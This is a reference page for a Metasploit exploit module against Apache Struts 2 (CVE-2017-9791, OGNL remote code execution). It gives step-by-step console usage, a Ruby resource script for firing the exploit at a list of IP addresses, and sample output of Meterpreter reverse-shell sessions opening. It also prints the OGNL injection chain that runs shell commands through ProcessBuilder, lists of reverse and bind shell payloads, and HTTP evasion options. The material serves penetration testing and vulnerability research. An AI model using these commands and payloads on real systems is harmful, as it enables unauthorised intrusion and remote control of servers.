Apache Struts 2 Struts 1 Plugin Showcase OGNL Code Execution - Metasploit
This page contains detailed information about how to use the exploit/multi/http/struts2_code_exec_showcase metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Apache Struts 2 Struts 1 Plugin Showcase OGNL Code Execution
Module: exploit/multi/http/struts2_code_exec_showcase
Source code: modules/exploits/multi/http/struts2_code_exec_showcase.rb
Disclosure date: 2017-07-07
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2017-9791
This module exploits a remote code execution vulnerability in the Struts Showcase app in the Struts 1 plugin example in Struts 2.3.x series. Remote Code Execution can be performed via a malicious field value.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using struts2_code_exec_showcase against a single host
Normally, you can use exploit/multi/http/struts2_code_exec_showcase this way:
msf > use exploit/multi/http/struts2_code_exec_showcase
msf exploit(struts2_code_exec_showcase) > show targets
... a list of targets ...
msf exploit(struts2_code_exec_showcase) > set TARGET target-id
msf exploit(struts2_code_exec_showcase) > show options
... show and set options ...
msf exploit(struts2_code_exec_showcase) > exploit
Using struts2_code_exec_showcase against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your struts2_code_exec_showcase will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/http/struts2_code_exec_showcase")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the multi/http/struts2_code_exec_showcase exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/struts2_code_exec_showcase
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/http/struts2_code_exec_showcase) > show info
Name: Apache Struts 2 Struts 1 Plugin Showcase OGNL Code Execution
Module: exploit/multi/http/struts2_code_exec_showcase
Platform:
Arch:
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2017-07-07
Provided by:
icez <ic3z at qq dot com>
Nixawk
xfer0
Available targets:
Id Name
-- ----
0 Universal
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
POSTPARAM name yes The HTTP POST parameter
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /struts2-showcase/integration/saveGangster.action yes The path to a struts application action
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits a remote code execution vulnerability in the
Struts Showcase app in the Struts 1 plugin example in Struts 2.3.x
series. Remote Code Execution can be performed via a malicious field
value.
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-9791
http://www.securityfocus.com/bid/99484
https://www.exploit-db.com/exploits/42324
https://cwiki.apache.org/confluence/display/WW/S2-048
Module Options
This is a complete list of options available in the multi/http/struts2_code_exec_showcase exploit:
msf6 exploit(multi/http/struts2_code_exec_showcase) > show options
Module options (exploit/multi/http/struts2_code_exec_showcase):
Name Current Setting Required Description
---- --------------- -------- -----------
POSTPARAM name yes The HTTP POST parameter
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /struts2-showcase/integration/saveGangster.action yes The path to a struts application action
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Universal
Advanced Options
Here is a complete list of advanced options supported by the multi/http/struts2_code_exec_showcase exploit:
msf6 exploit(multi/http/struts2_code_exec_showcase) > show advanced
Module advanced options (exploit/multi/http/struts2_code_exec_showcase):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/struts2_code_exec_showcase module can exploit:
msf6 exploit(multi/http/struts2_code_exec_showcase) > show targets
Exploit targets:
Id Name
-- ----
0 Universal
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/struts2_code_exec_showcase exploit:
msf6 exploit(multi/http/struts2_code_exec_showcase) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_inetd normal No Unix Command Shell, Bind TCP (inetd)
3 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
4 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
5 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
6 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
7 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
8 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
9 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
10 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
11 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
12 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
13 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
14 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
15 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
16 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
17 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
18 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
19 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
20 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
21 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
22 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
23 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
24 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
25 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
26 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
27 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
28 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
29 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
30 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
31 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
32 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
33 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
34 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
35 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
36 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
37 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
38 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
39 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
40 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
41 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
42 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
43 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
44 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
45 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
46 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
47 payload/cmd/windows/adduser normal No Windows Execute net user /ADD CMD
48 payload/cmd/windows/bind_lua normal No Windows Command Shell, Bind TCP (via Lua)
49 payload/cmd/windows/bind_perl normal No Windows Command Shell, Bind TCP (via Perl)
50 payload/cmd/windows/bind_perl_ipv6 normal No Windows Command Shell, Bind TCP (via perl) IPv6
51 payload/cmd/windows/bind_ruby normal No Windows Command Shell, Bind TCP (via Ruby)
52 payload/cmd/windows/download_eval_vbs normal No Windows Executable Download and Evaluate VBS
53 payload/cmd/windows/download_exec_vbs normal No Windows Executable Download and Execute (via .vbs)
54 payload/cmd/windows/generic normal No Windows Command, Generic Command Execution
55 payload/cmd/windows/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
56 payload/cmd/windows/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
57 payload/cmd/windows/reverse_lua normal No Windows Command Shell, Reverse TCP (via Lua)
58 payload/cmd/windows/reverse_perl normal No Windows Command, Double Reverse TCP Connection (via Perl)
59 payload/cmd/windows/reverse_powershell normal No Windows Command Shell, Reverse TCP (via Powershell)
60 payload/cmd/windows/reverse_ruby normal No Windows Command Shell, Reverse TCP (via Ruby)
61 payload/generic/custom normal No Custom Payload
62 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
63 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/struts2_code_exec_showcase exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/struts2_code_exec_showcase) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Server returned HTTP 404, please double check TARGETURI
Here is a relevant code snippet related to the "Server returned HTTP 404, please double check TARGETURI" error message:
62: 'method' => 'POST',
63: 'vars_post' => data
64: })
65:
66: if resp && resp.code == 404
67: fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
68: end
69: resp
70: end
71:
72: def check
Exploit failed.
Here is a relevant code snippet related to the "Exploit failed." error message:
88: end
89:
90: def exploit
91: resp = exec_cmd(payload.encoded)
92: unless resp and resp.code == 200
93: fail_with(Failure::Unknown, "Exploit failed.")
94: end
95:
96: print_good("Command executed")
97: print_line(resp.body)
98: end
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).
Here is a relevant code snippet related to the "(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())." error message:
106: ognl << "(#ognlUtil.getExcludedPackageNames().clear())."
107: ognl << "(#ognlUtil.getExcludedClasses().clear())."
108: ognl << "(#context.setMemberAccess(#dm))))."
109: ognl << "(#cmd='#{cmd}')."
110: ognl << "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
111: ognl << "(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())."
112: ognl << "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
113: ognl << "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
114:
115: send_struts_request(ognl)
116: end
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8727 Merged Pull Request: Add CVE-2017-9791 Module
References
See Also
Check also the following modules related to this module:
- exploit/multi/http/struts2_content_type_ognl
- exploit/multi/http/struts2_multi_eval_ognl
- exploit/multi/http/struts2_namespace_ognl
- exploit/multi/http/struts2_rest_xstream
- exploit/multi/http/eaton_nsm_code_exec
- exploit/multi/http/getsimplecms_unauth_code_exec
- exploit/multi/http/nostromo_code_exec
- exploit/multi/http/oscommerce_installer_unauth_code_exec
- exploit/multi/http/rails_dynamic_render_code_exec
- exploit/multi/http/rails_json_yaml_code_exec
- exploit/multi/http/rails_web_console_v2_code_exec
- exploit/multi/http/rails_xml_yaml_code_exec
- exploit/multi/http/struts_code_exec
- exploit/multi/http/struts_code_exec_classloader
- exploit/multi/http/struts_code_exec_exception_delegator
- exploit/multi/http/struts_code_exec_parameters
- exploit/multi/fileformat/nodejs_js_yaml_load_code_exec
- exploit/multi/php/wp_duplicator_code_inject
Related Nessus plugins:
- Apache Struts 2.3.x Showcase App Struts 1 Plugin ActionMessage Class Error Message Input Handling RCE (S2-048)
- Apache Struts 2.3.x Struts 1 plugin RCE (remote)
- Oracle WebLogic Server Multiple Vulnerabilities
Authors
- icez <ic3z at qq dot com>
- Nixawk
- xfer0
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
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